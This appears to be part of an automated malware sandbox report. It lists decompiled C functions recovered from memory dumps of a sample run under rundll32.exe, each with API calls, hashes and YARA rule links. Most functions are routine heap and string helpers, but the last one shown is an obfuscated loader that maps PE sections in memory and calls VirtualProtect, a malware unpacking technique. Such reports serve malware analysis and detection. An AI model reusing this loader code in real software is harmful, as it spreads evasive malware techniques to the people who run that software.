					_t6 =  *0x92d32c; // 0x32b95b0
					_t1 = _t6 + 0x58; // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t8 =  *_t14;
				if(_t8 != 0 && _t8 != 0x92d030) {
					HeapFree( *0x92d238, 0, _t8);
				}
				_t14[1] = E009294A9(_v0, _t14);
				_t11 =  *0x92d32c; // 0x32b95b0
				_t12 = _t11 + 0x40;
				__imp__(_t12);
				return _t12;
			}

0x009275e9
0x009275e9
0x009275f2
0x00927602
0x00927602
0x00927607
0x0092760c
0x00000000
0x00000000
0x009275fc
0x009275fc
0x0092760e
0x00927612
0x00927624
0x00927624
0x00927634
0x00927637
0x0092763c
0x00927640
0x00927646

APIs

RtlEnterCriticalSection.NTDLL(032B9570), ref: 009275F2
Sleep.KERNEL32(0000000A,?,009223DE), ref: 009275FC
HeapFree.KERNEL32(00000000,00000000,?,009223DE), ref: 00927624
RtlLeaveCriticalSection.NTDLL(032B9570), ref: 00927640

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: CriticalSection$EnterFreeHeapLeaveSleep
String ID:
API String ID: 58946197-0
Opcode ID: 778638d03efe9e7013515e6ec314dffbaa38764f01569f678a6f8bb9cdc72d44
Instruction ID: e59363bc2384d1cf2473009a7c9d54b4502ae8bd413934f5b880dade68b608e0
Opcode Fuzzy Hash: 778638d03efe9e7013515e6ec314dffbaa38764f01569f678a6f8bb9cdc72d44
Instruction Fuzzy Hash: 85F0FEB065A651DBEB30DBB9EC49F1AB7E8AF15744B048405F802E7275D630DC02EB2A

Uniqueness

Uniqueness Score: -1.00%

Function 0092970F, Relevance: 6.0, APIs: 4, Instructions: 29
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0092970F() {
				void* _t1;
				intOrPtr _t5;
				void* _t6;
				void* _t7;
				void* _t11;

				_t1 =  *0x92d26c; // 0x224
				if(_t1 == 0) {
					L8:
					return 0;
				}
				SetEvent(_t1);
				_t11 = 0x7fffffff;
				while(1) {
					SleepEx(0x64, 1);
					_t5 =  *0x92d2b8; // 0x0
					if(_t5 == 0) {
						break;
					}
					_t11 = _t11 - 0x64;
					if(_t11 > 0) {
						continue;
					}
					break;
				}
				_t6 =  *0x92d26c; // 0x224
				if(_t6 != 0) {
					CloseHandle(_t6);
				}
				_t7 =  *0x92d238; // 0x2ec0000
				if(_t7 != 0) {
					HeapDestroy(_t7);
				}
				goto L8;
			}

0x0092970f
0x00929716
0x00929760
0x00929762
0x00929762
0x0092971a
0x00929720
0x00929725
0x00929729
0x0092972f
0x00929736
0x00000000
0x00000000
0x00929738
0x0092973d
0x00000000
0x00000000
0x00000000
0x0092973d
0x0092973f
0x00929747
0x0092974a
0x0092974a
0x00929750
0x00929757
0x0092975a
0x0092975a
0x00000000

APIs

SetEvent.KERNEL32(00000224,00000001,00928099), ref: 0092971A
SleepEx.KERNEL32(00000064,00000001), ref: 00929729
CloseHandle.KERNEL32(00000224), ref: 0092974A
HeapDestroy.KERNEL32(02EC0000), ref: 0092975A

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: CloseDestroyEventHandleHeapSleep
String ID:
API String ID: 4109453060-0
Opcode ID: 9aba14c1c86b8d2c78c61117aa44d3ebbae11349651279174f812a87efbbc661
Instruction ID: 4444a2c32fc303d6d349490c05910db3eac33766baccf835c22851f9fa722247
Opcode Fuzzy Hash: 9aba14c1c86b8d2c78c61117aa44d3ebbae11349651279174f812a87efbbc661
Instruction Fuzzy Hash: B1F03075B7E320DBDB306F75BD88B1A37ACAB007A1F040610B814E72A4DB64D845F694

Uniqueness

Uniqueness Score: -1.00%

Function 0092A5D6, Relevance: 6.0, APIs: 4, Instructions: 28
sleepmemoryCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E0092A5D6() {
				void* _v0;
				void** _t3;
				void** _t5;
				void** _t7;
				void** _t8;
				void* _t10;

				_t3 =  *0x92d32c; // 0x32b95b0
				__imp__( &(_t3[0x10]));
				while(1) {
					_t5 =  *0x92d32c; // 0x32b95b0
					_t1 =  &(_t5[0x16]); // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t7 =  *0x92d32c; // 0x32b95b0
				_t10 =  *_t7;
				if(_t10 != 0 && _t10 != 0x92e836) {
					HeapFree( *0x92d238, 0, _t10);
					_t7 =  *0x92d32c; // 0x32b95b0
				}
				 *_t7 = _v0;
				_t8 =  &(_t7[0x10]);
				__imp__(_t8);
				return _t8;
			}

0x0092a5d6
0x0092a5df
0x0092a5ef
0x0092a5ef
0x0092a5f4
0x0092a5f9
0x00000000
0x00000000
0x0092a5e9
0x0092a5e9
0x0092a5fb
0x0092a600
0x0092a604
0x0092a617
0x0092a61d
0x0092a61d
0x0092a626
0x0092a628
0x0092a62c
0x0092a632

APIs

RtlEnterCriticalSection.NTDLL(032B9570), ref: 0092A5DF
Sleep.KERNEL32(0000000A,?,009223DE), ref: 0092A5E9
HeapFree.KERNEL32(00000000,?,?,009223DE), ref: 0092A617
RtlLeaveCriticalSection.NTDLL(032B9570), ref: 0092A62C

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: CriticalSection$EnterFreeHeapLeaveSleep
String ID:
API String ID: 58946197-0
Opcode ID: 0e5ac45666b0a159a3c4c9c74e3548054376f27281c6b6746bffe7a6f9b7f5f5
Instruction ID: 5e05a7addae49f5c2474689880137a8f176ef2b51bc1be4874a78e3172c26fdb
Opcode Fuzzy Hash: 0e5ac45666b0a159a3c4c9c74e3548054376f27281c6b6746bffe7a6f9b7f5f5
Instruction Fuzzy Hash: 7BF0DAB565A100DBEB24CB24EC59E1977E4EB09345B048015F902D7264C730EC02EF16

Uniqueness

Uniqueness Score: -1.00%

Function 00927F27, Relevance: 5.1, APIs: 4, Instructions: 70
stringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00927F27(void* __eax, void* __ecx, void* _a4, void** _a8, intOrPtr* _a12) {
				intOrPtr* _v8;
				void* _t17;
				intOrPtr* _t22;
				void* _t27;
				char* _t30;
				void* _t33;
				void* _t34;
				void* _t36;
				void* _t37;
				void* _t39;
				int _t42;

				_t17 = __eax;
				_t37 = 0;
				__imp__(_a4, _t33, _t36, _t27, __ecx);
				_t2 = _t17 + 1; // 0x1
				_t28 = _t2;
				_t34 = E00922049(_t2);
				if(_t34 != 0) {
					_t30 = E00922049(_t28);
					if(_t30 == 0) {
						E00929039(_t34);
					} else {
						_t39 = _a4;
						_t22 = E0092A911(_t39);
						_v8 = _t22;
						if(_t22 == 0 ||  *_t22 !=  *((intOrPtr*)(_t22 + 1))) {
							_a4 = _t39;
						} else {
							_t26 = _t22 + 2;
							_a4 = _t22 + 2;
							_t22 = E0092A911(_t26);
							_v8 = _t22;
						}
						if(_t22 == 0) {
							__imp__(_t34, _a4);
							 *_t30 = 0x2f;
							 *((char*)(_t30 + 1)) = 0;
						} else {
							_t42 = _t22 - _a4;
							memcpy(_t34, _a4, _t42);
							 *((char*)(_t34 + _t42)) = 0;
							__imp__(_t30, _v8);
						}
						 *_a8 = _t34;
						_t37 = 1;
						 *_a12 = _t30;
					}
				}
				return _t37;
			}

0x00927f27
0x00927f31
0x00927f33
0x00927f39
0x00927f39
0x00927f42
0x00927f46
0x00927f52
0x00927f56
0x00927fca
0x00927f58
0x00927f58
0x00927f5c
0x00927f63
0x00927f66
0x00927f80
0x00927f6f
0x00927f6f
0x00927f73
0x00927f76
0x00927f7b
0x00927f7b
0x00927f85
0x00927fad
0x00927fb3
0x00927fb6
0x00927f87
0x00927f89
0x00927f91
0x00927f9c
0x00927fa1
0x00927fa1
0x00927fbd
0x00927fc4
0x00927fc5
0x00927fc5
0x00927f56
0x00927fd5

APIs

lstrlen.KERNEL32(00000000,00000008,?,74B04D40,?,?,009215A4,?,?,?,?,00000102,009211DA,?,?,00000000), ref: 00927F33

Part of subcall function 00922049: RtlAllocateHeap.NTDLL(00000000,00000000,00927E50), ref: 00922055

Part of subcall function 0092A911: StrChrA.SHLWAPI(?,0000002F,00000000,00000000,00927F61,00000000,00000001,00000001,?,?,009215A4,?,?,?,?,00000102), ref: 0092A91F
Part of subcall function 0092A911: StrChrA.SHLWAPI(?,0000003F,?,?,009215A4,?,?,?,?,00000102,009211DA,?,?,00000000,00000000), ref: 0092A929

memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,009215A4,?,?,?,?,00000102,009211DA,?), ref: 00927F91
lstrcpy.KERNEL32(00000000,00000000), ref: 00927FA1
lstrcpy.KERNEL32(00000000,00000000), ref: 00927FAD

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrcpy$AllocateHeaplstrlenmemcpy
String ID:
API String ID: 3767559652-0
Opcode ID: de458a07030594acbc6ec7abda1235a99dce8486e7a216717f390b348b0a3c59
Instruction ID: f377ffcdbfdd7dbef52fc522a38290468ba2fc0f72b3f143e4914672304ddc18
Opcode Fuzzy Hash: de458a07030594acbc6ec7abda1235a99dce8486e7a216717f390b348b0a3c59
Instruction Fuzzy Hash: A221DF7240C225FBCB129FA5ED44BEEBFE9AF46380F158055F804AB21AD635CA00D7E0

Uniqueness

Uniqueness Score: -1.00%

Function 00927CB8, Relevance: 5.0, APIs: 4, Instructions: 39
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00927CB8(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
				void* _v8;
				void* _t18;
				int _t25;
				int _t29;
				int _t34;

				_t29 = lstrlenW(_a4);
				_t25 = lstrlenW(_a8);
				_t18 = E00922049(_t25 + _t29 + _t25 + _t29 + 2);
				_v8 = _t18;
				if(_t18 != 0) {
					_t34 = _t29 + _t29;
					memcpy(_t18, _a4, _t34);
					_t10 = _t25 + 2; // 0x2
					memcpy(_v8 + _t34, _a8, _t25 + _t10);
				}
				return _v8;
			}

0x00927ccd
0x00927cd1
0x00927cdb
0x00927ce2
0x00927ce5
0x00927ce7
0x00927cef
0x00927cf4
0x00927d02
0x00927d07
0x00927d11

APIs

lstrlenW.KERNEL32(004F0053,74B05520,?,00000008,032B937C,?,0092747C,004F0053,032B937C,?,?,?,?,?,?,00926814), ref: 00927CC8
lstrlenW.KERNEL32(0092747C,?,0092747C,004F0053,032B937C,?,?,?,?,?,?,00926814), ref: 00927CCF

Part of subcall function 00922049: RtlAllocateHeap.NTDLL(00000000,00000000,00927E50), ref: 00922055

memcpy.NTDLL(00000000,004F0053,74B069A0,?,?,0092747C,004F0053,032B937C,?,?,?,?,?,?,00926814), ref: 00927CEF
memcpy.NTDLL(74B069A0,0092747C,00000002,00000000,004F0053,74B069A0,?,?,0092747C,004F0053,032B937C), ref: 00927D02

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlenmemcpy$AllocateHeap
String ID:
API String ID: 2411391700-0
Opcode ID: 86e660f0fba0d069468d6ba4aaafacce7da3229ce1b0604ed05bcfeb65188221
Instruction ID: f64f668f2979d60c90c27daf22a0dddb7731987e1c31c26fa1925e22dfeacb49
Opcode Fuzzy Hash: 86e660f0fba0d069468d6ba4aaafacce7da3229ce1b0604ed05bcfeb65188221
Instruction Fuzzy Hash: 8CF03772900128BBCF11EFA8DC85DDE7BACEE483547114062B908D7216E631EA18DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00923CC8, Relevance: 5.0, APIs: 4, Instructions: 27stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(032B9910,00000000,00000000,7742C740,0092A453,00000000), ref: 00923CD8
lstrlen.KERNEL32(?), ref: 00923CE0

Part of subcall function 00922049: RtlAllocateHeap.NTDLL(00000000,00000000,00927E50), ref: 00922055

lstrcpy.KERNEL32(00000000,032B9910), ref: 00923CF4
lstrcat.KERNEL32(00000000,?), ref: 00923CFF

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$AllocateHeaplstrcatlstrcpy
String ID:
API String ID: 74227042-0
Opcode ID: 07bf754a9f27080b02b8d431162980103d5dd22e0523e263180b1ba161dc85d1
Instruction ID: 9ad7ee599821b74bb20bfd862514327f7f3eceb66dbf72dd98bebdd315299c24
Opcode Fuzzy Hash: 07bf754a9f27080b02b8d431162980103d5dd22e0523e263180b1ba161dc85d1
Instruction Fuzzy Hash: 38E09273905230E78B219FE5AC48C6FBBADFF897517044416F600D3124C7249806DBE1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 2212 Parent PID: 5904 rundll32.exeCOMMON

Executed Functions

Function 0366348F, Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 367
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 72%

			E0366348F(signed int __ebx, signed int __ecx, signed int __edx, signed int __edi, signed int __esi, signed int _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v32;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				void* __ebp;
				signed int _t195;
				signed int _t197;
				signed int _t198;
				signed int _t199;
				signed int _t202;
				signed int _t205;
				signed int _t211;
				void* _t212;
				signed int _t215;
				signed int _t218;
				signed int _t221;
				signed int _t222;
				signed int _t223;
				signed int _t226;
				void* _t236;
				void* _t243;
				void* _t245;
				signed int _t247;
				signed int _t259;
				long _t262;
				long _t265;
				signed int _t270;
				signed int _t275;
				signed int _t278;
				signed int _t280;
				signed int _t282;
				void* _t286;
				signed int _t287;
				void* _t292;
				void* _t293;
				DWORD* _t294;
				signed int _t299;
				signed int _t302;
				signed int _t305;
				signed int _t308;
				void* _t309;
				signed int _t313;
				signed int _t320;
				long _t325;
				signed int* _t333;

				_t299 = __esi;
				_t275 = __edi;
				_t258 = __edx;
				_t229 = __ecx;
				_t223 = __ebx;
				if( *(__ebx + 0x41820f) == 0) {
					_push(_v20);
					 *_t333 = __ecx;
					_push(__edi);
					 *_t333 =  *_t333 & 0x00000000;
					 *_t333 =  *_t333 | __edx;
					_t195 =  *((intOrPtr*)(__ebx + 0x45d020))();
					_v20 = __ecx;
					 *(__ebx + 0x41820f) =  *(__ebx + 0x41820f) & 0x00000000;
					 *(__ebx + 0x41820f) =  *(__ebx + 0x41820f) | __ecx ^ _v20 | _t195;
					_pop(_t258);
					_pop(_t229);
				}
				_push(_t325);
				 *_t333 =  *_t333 - _t325;
				 *_t333 =  *_t333 ^ _t258;
				if( *(_t223 + 0x418637) == 0) {
					_v12 = _v12 & 0x00000000;
					 *_t333 =  *_t333 | _t229;
					_t195 =  *((intOrPtr*)(_t223 + 0x45d024))(_v12);
					_v12 = _t299;
					 *(_t223 + 0x418637) =  *(_t223 + 0x418637) & 0x00000000;
					 *(_t223 + 0x418637) =  *(_t223 + 0x418637) | _t299 - _v12 ^ _t195;
					_t299 = _v12;
					_pop(_t229);
				}
				_v20 = _v20 & 0x00000000;
				_push(_v20);
				 *_t333 =  *_t333 ^ _t229;
				if( *(_t223 + 0x4181e7) == 0) {
					_v32 =  *((intOrPtr*)(_t223 + 0x418351));
					_t325 = _t325;
					_v40 =  *((intOrPtr*)(_t223 + 0x418073));
					_t320 = _t299;
					_t275 = _v44;
					_v44 =  *((intOrPtr*)(_t223 + 0x418147));
					_t195 =  *((intOrPtr*)(_t223 + 0x45d044))(_t275, _t275, _t325, _t325);
					_v20 = _t320;
					 *(_t223 + 0x4181e7) =  *(_t223 + 0x4181e7) & 0x00000000;
					 *(_t223 + 0x4181e7) =  *(_t223 + 0x4181e7) | _t320 - _v20 | _t195;
					_t299 = _v20;
				}
				_v12 = _t275;
				_t197 = _t195 & 0x00000000 | _t275 ^ _v12 | _a4;
				_t278 = _v12;
				if( *(_t223 + 0x4182f3) == 0) {
					_v16 = _v16 & 0x00000000;
					_v32 = _v32 + _t197;
					_t222 =  *((intOrPtr*)(_t223 + 0x45d024))(_v16);
					_v12 = _t229;
					 *(_t223 + 0x4182f3) =  *(_t223 + 0x4182f3) & 0x00000000;
					 *(_t223 + 0x4182f3) =  *(_t223 + 0x4182f3) | _t229 & 0x00000000 ^ _t222;
					_t229 = _v12;
					_pop(_t197);
				}
				_t198 = _t197 +  *((intOrPtr*)(_t197 + 0x3c));
				if( *(_t223 + 0x418577) == 0) {
					_v32 = _v32 - _t223;
					_v32 = _v32 + _t198;
					_v40 =  *((intOrPtr*)(_t223 + 0x418197));
					_v44 = _v44 & 0x00000000;
					_v44 = _v44 ^ _t278;
					_t229 = _v48;
					_v48 =  *((intOrPtr*)(_t223 + 0x418193));
					_v52 =  *((intOrPtr*)(_t223 + 0x418320));
					_t221 =  *((intOrPtr*)(_t223 + 0x45d048))(_v40, _t325, _t229, 0, _t223);
					_v12 = _t258;
					 *(_t223 + 0x418577) =  *(_t223 + 0x418577) & 0x00000000;
					 *(_t223 + 0x418577) =  *(_t223 + 0x418577) | _t258 - _v12 ^ _t221;
					_t258 = _v12;
					_t198 = _t198;
				}
				_v20 = 0;
				_push(_v20);
				_v32 = _v32 | _t198;
				if( *(_t223 + 0x418583) == 0) {
					_v12 = _v12 & 0x00000000;
					 *_t333 =  *_t333 ^ _t198;
					_v40 =  *((intOrPtr*)(_t223 + 0x41848b));
					_v44 =  *((intOrPtr*)(_t223 + 0x4180ab));
					_t278 = _t278;
					_v48 = _t229;
					_v52 =  *((intOrPtr*)(_t223 + 0x4185df));
					_t299 = _t299;
					_v56 =  *((intOrPtr*)(_t223 + 0x418263));
					_t270 = _t258;
					_t218 =  *((intOrPtr*)(_t223 + 0x45d048))(_t229, _v16, _t229, _t198, _v12);
					 *(_t223 + 0x418583) =  *(_t223 + 0x418583) & 0x00000000;
					 *(_t223 + 0x418583) =  *(_t223 + 0x418583) ^ _t270 & 0x00000000 ^ _t218;
					_t258 = _t270;
					_t198 = _t278;
				}
				_v12 = _t299;
				_t280 = _t278 & 0x00000000 | _t299 & 0x00000000 ^ _t198;
				_t302 = _v12;
				if( *(_t223 + 0x418117) == 0) {
					_t215 =  *((intOrPtr*)(_t223 + 0x45d024))();
					_v12 = _t302;
					 *(_t223 + 0x418117) =  *(_t223 + 0x418117) & 0x00000000;
					 *(_t223 + 0x418117) =  *(_t223 + 0x418117) ^ _t302 ^ _v12 ^ _t215;
					_t302 = _v12;
				}
				_t199 =  *(_t280 + 6) & 0x0000ffff;
				if( *((intOrPtr*)(_t223 + 0x41829b)) == 0) {
					_v16 = 0;
					 *_t333 =  *_t333 + _t199;
					_push( *((intOrPtr*)(_t223 + 0x45d024))(_v16));
					_pop( *_t108);
					_push(_v16);
					_pop( *_t110);
					_pop(_t199);
				}
				_v8 = _v8 & 0x00000000;
				_v8 = _v8 ^ _t302 ^  *_t333 ^ _t199;
				_t305 = _t302;
				if( *(_t223 + 0x41806f) == 0) {
					_push(_t325);
					 *_t333 =  *(_t223 + 0x4182df);
					_push(_t280);
					_push( *_t333);
					_v40 =  *((intOrPtr*)(_t223 + 0x418340));
					_pop(_t325);
					_v44 =  *((intOrPtr*)(_t223 + 0x41817b));
					_t243 = _t229;
					_v48 =  *((intOrPtr*)(_t223 + 0x4185ff));
					_t245 = _t243;
					_v52 =  *((intOrPtr*)(_t223 + 0x4184eb));
					_t247 = _t245;
					_t199 =  *((intOrPtr*)(_t223 + 0x45d048))(_t325, _t243, _t199);
					 *(_t223 + 0x41806f) =  *(_t223 + 0x41806f) & 0x00000000;
					 *(_t223 + 0x41806f) =  *(_t223 + 0x41806f) | _t247 ^ _v56 ^ _t199;
					_t229 = _t247;
				}
				_push(_t258);
				 *_t333 =  *_t333 - _t258;
				 *_t333 = _t280;
				if( *(_t223 + 0x4180b7) == 0) {
					_t199 =  *((intOrPtr*)(_t223 + 0x45d024))();
					 *(_t223 + 0x4180b7) =  *(_t223 + 0x4180b7) & 0x00000000;
					 *(_t223 + 0x4180b7) =  *(_t223 + 0x4180b7) | _t229 - _v40 ^ _t199;
					_t229 = _t229;
				}
				_v20 = _t305;
				_t259 =  *(_t280 + 0x54);
				_t308 = _v20;
				if( *(_t223 + 0x41812b) == 0) {
					_v12 = _v12 & 0x00000000;
					_v40 = _v40 ^ _t259;
					_t199 =  *((intOrPtr*)(_t223 + 0x45d020))(_v12);
					 *(_t223 + 0x41812b) =  *(_t223 + 0x41812b) & 0x00000000;
					 *(_t223 + 0x41812b) =  *(_t223 + 0x41812b) | _t280 & 0x00000000 | _t199;
					_t280 = _t280;
					_pop(_t259);
				}
				_v12 = _t199;
				_t282 = _t280 & 0x00000000 ^ _t199 & 0x00000000 ^  *(_t223 + 0x4180f7);
				_t202 = _v12;
				if( *(_t223 + 0x4181df) == 0) {
					_v40 = _v40 & 0x00000000;
					_v40 = _v40 | _t259;
					_v48 =  *((intOrPtr*)(_t223 + 0x418444));
					_v16 = 0;
					_v52 = _v52 | _t223;
					_t202 =  *((intOrPtr*)(_t223 + 0x45d040))(_v16, _t259, 0, _t308);
					 *(_t223 + 0x4181df) =  *(_t223 + 0x4181df) & 0x00000000;
					 *(_t223 + 0x4181df) =  *(_t223 + 0x4181df) | _t229 - _v56 | _t202;
					_t229 = _t229;
					_pop(_t259);
				}
				_v40 = _t259;
				_t309 = _a4;
				_t262 = 0;
				_v16 = _t282;
				_t231 = _t229 & 0x00000000 | _t282 - _v16 | _t262;
				if(_v16 != _t309) {
					do {
						asm("movsb");
						_t231 = _t231 - 1;
					} while (_t231 != 0);
					_v12 = _t309;
					_t294 =  *(_t223 + 0x4180f7);
					_t309 = _v12;
					 *(_t223 + 0x4184cf) = 0x40;
					_v40 = _v40 & 0x00000000;
					_v40 = _v40 | _t223 + 0x004184cf;
					_v44 = 2;
					_v48 = _v48 - _t325;
					_v48 = _v48 | _t262;
					_v16 = _v16 & 0x00000000;
					_v52 = _v52 ^ _t294; // executed
					_t202 = VirtualProtect(_v16, _t325, _t262, _t294);
				}
				_pop(_t286);
				_t287 = _t286 + 0xf8;
				_t226 = _t223;
				do {
					_v12 = _v12 & 0x00000000;
					_push(_v12);
					 *_t333 =  *_t333 | _t287;
					_v16 = _t202;
					_t205 = _v16;
					_v16 = _t205;
					_t309 = (_t309 & 0x00000000 ^ _t202 & 0x00000000 ^ _a4) +  *((intOrPtr*)(_t287 + 0x14));
					_t202 = memcpy( *((intOrPtr*)(_t287 + 0xc)) +  *(_t226 + 0x4180f7), _t309, _t231 & 0x00000000 ^ _t205 & 0x00000000 ^  *(_t287 + 0x10));
					_t333 =  &(_t333[3]);
					_t231 = 0;
					_pop(_t292);
					_t287 = _t292 + 0x28;
					_t226 = _t226;
					_t187 =  &_v8;
					 *_t187 = _v8 - 1;
				} while ( *_t187 != 0);
				_pop(_t293);
				_push(_t325);
				_t211 = (_t202 & 0x00000000 | _t325 - _v32 |  *(_t293 + 0x28)) +  *(_t226 + 0x4180f7);
				_v32 = 0;
				 *(_t226 + 0x418418) = 0 ^ _t211;
				_t236 = 0;
				_v12 = _t262;
				_t313 = _t309 & 0x00000000 | _t262 & 0x00000000 ^  *(_t226 + 0x4180f7);
				_t265 = _v12;
				if(_t313 > 0) {
					_push(_t226);
					_v32 = _v32 ^ _t226;
					_v32 = _v32 | _t313;
					_t212 = E036620EE(_t226, _t236, _t265, _t293, _t313);
					 *_t333 =  *_t333 & 0x00000000;
					 *_t333 =  *_t333 ^ _t313;
					_t211 = E03665AF6(_t212, _t226, _t236, _t265, _t293, _t313, _t236);
				}
				return _t211;
			}

0x0366348f
0x0366348f
0x0366348f
0x0366348f
0x0366348f
0x0366349c
0x0366349e
0x036634a1
0x036634a4
0x036634a5
0x036634a9
0x036634ac
0x036634b2
0x036634ba
0x036634c1
0x036634ca
0x036634cb
0x036634cb
0x036634cc
0x036634cd
0x036634d0
0x036634da
0x036634dc
0x036634e3
0x036634e6
0x036634ec
0x036634f4
0x036634fb
0x03663501
0x03663504
0x03663504
0x03663505
0x03663509
0x0366350c
0x03663516
0x03663520
0x03663524
0x0366352e
0x03663532
0x0366353a
0x0366353a
0x0366353d
0x03663543
0x0366354b
0x03663552
0x03663558
0x03663558
0x0366355b
0x03663567
0x03663569
0x03663573
0x03663575
0x0366357c
0x0366357f
0x03663585
0x0366358d
0x03663594
0x0366359a
0x0366359d
0x0366359d
0x0366359e
0x036635a8
0x036635ab
0x036635ae
0x036635ba
0x036635be
0x036635c2
0x036635cc
0x036635cc
0x036635d6
0x036635d9
0x036635df
0x036635e7
0x036635ee
0x036635f4
0x036635f7
0x036635f7
0x036635f8
0x036635ff
0x03663602
0x0366360c
0x0366360e
0x03663615
0x0366361f
0x0366362a
0x0366362e
0x03663632
0x0366363d
0x03663641
0x0366364a
0x0366364e
0x0366364f
0x0366365b
0x03663662
0x03663668
0x03663669
0x03663669
0x0366366a
0x03663675
0x03663677
0x03663681
0x03663683
0x03663689
0x03663691
0x03663698
0x0366369e
0x0366369e
0x036636a1
0x036636ac
0x036636ae
0x036636b8
0x036636c1
0x036636c2
0x036636c5
0x036636c8
0x036636ce
0x036636ce
0x036636d5
0x036636d9
0x036636dc
0x036636e4
0x036636e6
0x036636ed
0x036636f0
0x036636f1
0x036636f8
0x036636fc
0x03663705
0x03663709
0x03663712
0x03663716
0x0366371f
0x03663723
0x03663724
0x03663730
0x03663737
0x0366373d
0x0366373d
0x0366373e
0x0366373f
0x03663742
0x0366374c
0x0366374e
0x0366375a
0x03663761
0x03663767
0x03663767
0x03663768
0x03663770
0x03663772
0x0366377c
0x0366377e
0x03663785
0x03663788
0x03663794
0x0366379b
0x036637a1
0x036637a2
0x036637a2
0x036637a3
0x036637b2
0x036637b4
0x036637be
0x036637c1
0x036637c5
0x036637d1
0x036637d4
0x036637de
0x036637e1
0x036637ed
0x036637f4
0x036637fa
0x036637fb
0x036637fb
0x036637fe
0x03663806
0x03663808
0x03663809
0x03663814
0x0366381b
0x0366381d
0x0366381d
0x0366381e
0x0366381e
0x03663821
0x0366382c
0x0366382e
0x03663831
0x03663842
0x03663846
0x0366384a
0x03663852
0x03663855
0x03663858
0x0366385f
0x03663862
0x03663862
0x03663868
0x03663872
0x03663874
0x03663875
0x03663875
0x03663879
0x0366387c
0x0366387f
0x0366388d
0x03663890
0x036638a1
0x036638ad
0x036638ad
0x036638ad
0x036638af
0x036638b9
0x036638bb
0x036638bc
0x036638bc
0x036638bc
0x036638c1
0x036638c2
0x036638cf
0x036638d7
0x036638de
0x036638e4
0x036638e5
0x036638f4
0x036638f6
0x036638fc
0x036638fe
0x036638ff
0x03663902
0x03663905
0x0366390b
0x0366390f
0x03663912
0x03663912
0x0366391a

APIs

VirtualProtect.KERNELBASE(00000000,?,00000000,?,?,00000000,00000000), ref: 03663862

Strings

@, xrefs: 03663831

Memory Dump Source

Source File: 00000002.00000002.233550222.0000000003660000.00000040.00000001.sdmp, Offset: 03660000, based on PE: true

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: 45ff06a93b9dab7e30dae66d33c620778585e23986d508cd26357393324dd102
Instruction ID: 627f22d22a64b8a981f317b4ab22ea96ffa87f3b1b7bc5531566902102cc6842
Opcode Fuzzy Hash: 45ff06a93b9dab7e30dae66d33c620778585e23986d508cd26357393324dd102
Instruction Fuzzy Hash: 6FF15D72C04204EFEB049F64C9897ADBBF5FF84715F1984ADDC88AB245CB786550CB68

Uniqueness

Uniqueness Score: -1.00%

Function 03666194, Relevance: 3.1, APIs: 2, Instructions: 112
memoryCOMMON

Download Yara Rule

C-Code - Quality: 75%

